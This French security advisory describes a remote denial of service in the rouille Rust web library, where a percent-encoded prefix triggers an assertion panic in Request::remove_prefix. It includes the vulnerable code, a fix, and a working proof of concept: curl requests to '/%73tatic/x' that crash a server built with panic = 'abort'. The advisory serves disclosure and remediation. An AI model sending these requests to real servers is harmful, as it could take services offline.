
Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille)
Identifiant CVE attribué : CVE-2026-66754
Request::remove_prefix teste l'URL décodée en pourcentage, mais effectue une assertion sur l'URL brute. Une requête dont le chemin décodé commence par le préfixe alors que son chemin brut ne commence pas par celui-ci réussit le test et fait échouer l'assertion. Encoder en pourcentage un seul caractère du préfixe suffit.
Sur une compilation par défaut, la panique est interceptée et se transforme en 500. Sur une compilation avec panic = "abort", rien ne peut l'intercepter, et une seule requête GET non authentifiée met fin au processus serveur.
URL du dépôt : https://github.com/tomaka/rouille
| Première version affectée | 0.1.6 (2016-09-22), la version qui a introduit remove_prefix |
| Dernière version affectée | 3.6.2 (2023-04-24), la version actuelle |
| Non affectées | 0.1.5 et antérieures, qui n'ont pas de remove_prefix |
| Corrigée dans | aucune version corrigée à la date de rédaction |
La fonction est inchangée dans toutes les versions de cette plage et dans master actuel. Les applications sont affectées si elles appellent Request::remove_prefix, ce qui est le schéma que rouille documente pour servir des fichiers statiques sous un préfixe d'URL (src/assets.rs lignes 66 à 75, et src/lib.rs lignes 804 à 811).
CWE-617 (Assertion atteignable), conduisant à CWE-248 (Exception non interceptée).
Score de base CVSS 4.0 : 8.2 (Élevé)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Un client distant non authentifié pouvant envoyer une seule requête GET. Aucun identifiant et aucune interaction utilisateur.
panic = "abort" n'est pas la valeur par défaut de Cargo, mais c'est un choix courant de profil de release pour des binaires plus petits et une surcharge moindre. rouille dépend du déroulement de pile (unwinding) pour la disponibilité, car Server::process s'appuie sur panic::catch_unwind à la ligne 602 de src/lib.rs pour convertir les paniques du gestionnaire en 500. Cette dépendance n'est pas documentée.
rouille/src/lib.rs, lignes 813 à 822 :
813 pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814 if !self.url().starts_with(prefix) {
815 return None;
816 }
817
818 // TODO: url-encoded characters in the prefix are not implemented
819 assert!(self.url.starts_with(prefix));
820 Some(Request {
821 method: self.method.clone(),
822 url: self.url[prefix.len()..].to_owned(),
La ligne 814 appelle self.url(), qui décode les pourcentages. La ligne 819 effectue une assertion sur self.url, le champ brut, et la ligne 822 découpe ce même champ brut. Les deux représentations divergent dès que le chemin contient une séquence d'échappement en pourcentage à l'intérieur du préfixe :
Ce même désaccord signifie aussi que remove_prefix ne route jamais un chemin légitimement encodé en pourcentage ; le bug d'exactitude et le bug de disponibilité partagent donc un correctif.
Étape 1. Démarrez un serveur en utilisant l'idiome de préfixe documenté.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8003", |request| {
if let Some(r) = request.remove_prefix("/static") {
return rouille::match_assets(&r, ".");
}
Response::text("home")
});
}
Étape 2. Envoyez une requête bénigne et une requête équivalente avec s encodé en pourcentage. --path-as-is empêche curl de normaliser le chemin.
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
Résultat sur une compilation par défaut. La première est une 404 normale pour un fichier manquant, la seconde est une panique transformée en 500 :
404
500
avec ceci sur stderr :
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)
Étape 3. Recompilez le même programme avec abandon-sur-panique et répétez la seconde requête.
[profile.release]
panic = "abort"
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
Résultat. Le processus se termine avec SIGABRT (code de sortie 134) et le serveur cesse de répondre. Une requête, aucune authentification, perte totale de disponibilité.
Sur les compilations avec panic = "abort", une seule requête non authentifiée arrête le serveur. Sur les compilations par défaut, les requêtes dont le chemin contient un échappement en pourcentage dans le préfixe renvoient 500 au lieu d'être servies ; le routage est donc également incorrect pour les clients légitimes.
Notez que la panique ne peut pas empoisonner le mutex sur lequel Server::process appelle unwrap en dehors de catch_unwind aux lignes 643 et 649 de src/lib.rs, car remove_prefix ne fait que cloner l'Arc et ne détient jamais de garde. Sur les compilations avec déroulement de pile, le thread de travail récupère proprement.
Effectuez la comparaison et la découpe sur la même représentation. La version correcte la plus simple compare et découpe l'URL brute :
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
if !self.url.starts_with(prefix) {
return None;
}
Some(Request {
url: self.url[prefix.len()..].to_owned(),
..
})
}
Si le comportement de comparaison décodée est souhaité, décodez l'URL une fois, retirez le préfixe de la chaîne décodée, puis ré-encodez le reste plutôt que de découper le champ brut.
Dans les deux cas, le assert! doit disparaître. Une bibliothèque ne doit pas interrompre le processus sur une entrée contrôlée par l'attaquant. Documenter que rouille exige panic = "unwind", ou supprimer la dépendance à catch_unwind pour l'exactitude, aiderait également.
| URL brute | url() décodée | Ligne 814 | Ligne 819 |
|---|
/static/x | /static/x | réussit | réussit |
/%73tatic/x | /static/x | réussit | échoue |
/stati%63/x | /static/x | réussit | échoue |